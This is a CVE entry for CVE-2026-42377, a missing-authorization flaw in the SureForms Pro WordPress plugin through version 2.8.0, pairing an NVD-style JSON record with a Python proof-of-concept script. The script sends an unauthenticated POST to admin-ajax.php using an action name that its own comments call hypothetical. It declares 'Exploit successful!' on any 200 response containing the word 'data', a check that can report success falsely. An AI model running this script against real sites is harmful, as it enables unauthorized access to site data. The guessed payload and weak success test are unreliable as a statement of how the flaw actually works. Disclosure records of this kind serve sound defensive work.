CVE-2026-42377

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-42377 # This script demonstrates the lack of authorization in a vulnerable endpoint. import requests def exploit(target_url): # The vulnerable endpoint might be an exposed AJAX action or REST route # Based on the plugin structure, assuming an exposed export or update action endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload simulating an unauthorized action # 'action' parameter typically triggers the vulnerable function in WP plugins payload = { "action": "sureforms_pro_export", # Hypothetical action name based on vulnerability type "form_id": "1", "nonce": "" # No nonce required due to missing auth check } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, data=payload, timeout=10) # Check if response indicates successful unauthorized access if response.status_code == 200 and "data" in response.text: print("[+] Exploit successful! Authorization bypass confirmed.") print(f"[+] Response: {response.text[:100]}...") else: print("[-] Exploit failed or target not vulnerable.") print(f"[*] Status Code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit(target)

{"cve": {"id": "CVE-2026-42377", "sourceIdentifier": "[email protected]", "published": "2026-04-29T08:16:18.337", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Brainstorm Force SureForms Pro allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects SureForms Pro: from n/a through 2.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/sureforms-pro/vulnerability/wordpress-sureforms-pro-plugin-2-8-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}